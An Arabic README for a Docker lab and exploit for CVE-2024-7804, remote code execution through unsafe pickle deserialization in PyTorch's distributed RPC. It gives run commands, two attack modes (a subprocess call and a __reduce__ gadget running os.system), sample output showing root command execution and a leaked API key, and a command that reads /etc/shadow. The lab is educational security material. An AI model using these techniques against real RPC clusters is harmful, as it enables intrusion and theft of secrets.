
مختبر Docker مستقل واستغلال Python يوضح CVE-2024-7804، وهي ثغرة RCE حرجة في RPC الموزّع الخاص بـ PyTorch عبر إلغاء تسلسل pickle غير آمن (CWE-502). يتضمن تقنيتين للاستغلال وإرشادات للمعالجة.
مختبر ذاتي الاحتواء + استغلال لثغرة CVE-2024-7804: تنفيذ كود عن بُعد في
إطار عمل RPC الموزّع في PyTorch (torch.distributed.rpc) من خلال
إلغاء تسلسل غير آمن لبيانات غير موثوقة (CWE-502).
torch <= 2.3.1torch/distributed/rpc/internal.py — _InternalRPCPickler.deserialize()ملاحظة: تم سحب/رفض هذا التنبيه لاحقًا من قِبل المطوّرين وRed Hat باعتباره "وظيفة معروفة" — نظام PyTorch RPC هو بحكم تصميمه نظام نظير موثوق. لا يزال المختبر عرضًا دقيقًا وعمليًا للمشكلة المُبلَّغ عنها.
كل استدعاء RPC يحمل namedtuple باسم PythonUDF (, , ). على
العقدة المستقبِلة يتم إعادة بناؤه باستخدام ، بدون قائمة سماح
وبدون أي فحص للتكامل:
funcargskwargspickle.Unpickler مكشوف# torch/distributed/rpc/internal.py (torch 2.3.1)
def deserialize(self, binary_data, tensor_table):
...
unpickler = _unpickler(io.BytesIO(binary_data)) # _unpickler = pickle.Unpickler
ret = unpickler.load() # <-- pickle يتحكم فيه المهاجم
...
لذلك يمكن لأي نظير يستطيع الانضمام إلى "عالم" RPC أن يجعل العقدة تنفّذ كودًا
عشوائيًا — إما عبر أداة __reduce__ في pickle تُشغَّل أثناء load()، أو
ببساطة بتسمية أي دالة قابلة للاستيراد كـ UDF، حيث لا يوجد ما يقيّد ما ستنفّذه العقدة.
CVE-2024-7804/
├── docker-compose.yml # الضحية + المهاجم على شبكة bridge واحدة
├── lab/
│ ├── Dockerfile # python:3.11-slim + torch 2.3.1 (CPU) — الصورة القابلة للاستغلال
│ └── server.py # الضحية: عامل RPC يثق بالآخرين وينتظر النظائر
└── exploit/
└── exploit.py # المهاجم: ينضم إلى العالم وينفّذ RCE على الضحية
Docker مع إضافة Compose. إصدار CPU فقط (بدون GPU)، يعمل على amd64 وarm64.
# 1. تشغيل عقدة الضحية القابلة للاستغلال (rank 0، تنتظر نظيرًا)
docker compose up --build -d victim
# 2. تشغيل الاستغلال (الافتراضي: تنفيذ أمر على الضحية واسترجاع مخرجاته)
docker compose run --rm attacker
# 3. إيقاف كل شيء
docker compose down
[attacker] ===== command output returned from victim =====
uid=0(root) gid=0(root) groups=0(root)
victim
--- exfiltrated secret ---
CLUSTER_API_KEY=sk-live-9c1f4b7e-DO-NOT-LEAK
[attacker] ===== end output =====
نفّذ المهاجم أوامر بصلاحية root على الضحية وسرّب ملفًا لم يكن من المفترض أن يُكشف أبدًا.
| الأمر | ما يوضّحه |
|---|---|
docker compose run --rm attacker | يرسل subprocess.check_output كـ UDF. تنفّذ الضحية الأمر وتعيد مخرجاته — RCE وسرقة بيانات في استدعاء واحد. |
docker compose run --rm attacker python exploit.py --reduce | يرسل كائنًا ينفّذ __reduce__ الخاص به os.system بينما تقوم الضحية بإلغاء تسلسل الحمولة — RCE في وقت إلغاء التسلسل (جوهر CWE-502)، قبل حتى استدعاء UDF. |
أمر مخصص:
docker compose run --rm attacker python exploit.py --cmd "cat /etc/shadow"
بالنسبة لـ --reduce، يتم تنفيذ الأمر على الضحية، لذا راقبه هناك:
docker compose run --rm attacker python exploit.py --reduce --cmd "id"
docker compose logs victim # يظهر المخرج في سجل الضحية
ينتهي سجل الضحية لـ --reduce بتتبع أثر (traceback) عند
torch/distributed/rpc/internal.py، السطر ~207 (python_udf.func(...)) — دليل
على أن الحمولة أُعيد بناؤها ونُفِّذت بالفعل بواسطة أداة إلغاء التسلسل غير الآمنة.
29500) لشبكات غير موثوقة.لأغراض تعليمية واختبارات أمنية مصرّح بها فقط. المختبر قابل للاستغلال عن قصد — لا تنشره، وشغّل الاستغلال فقط ضد هذا المختبر.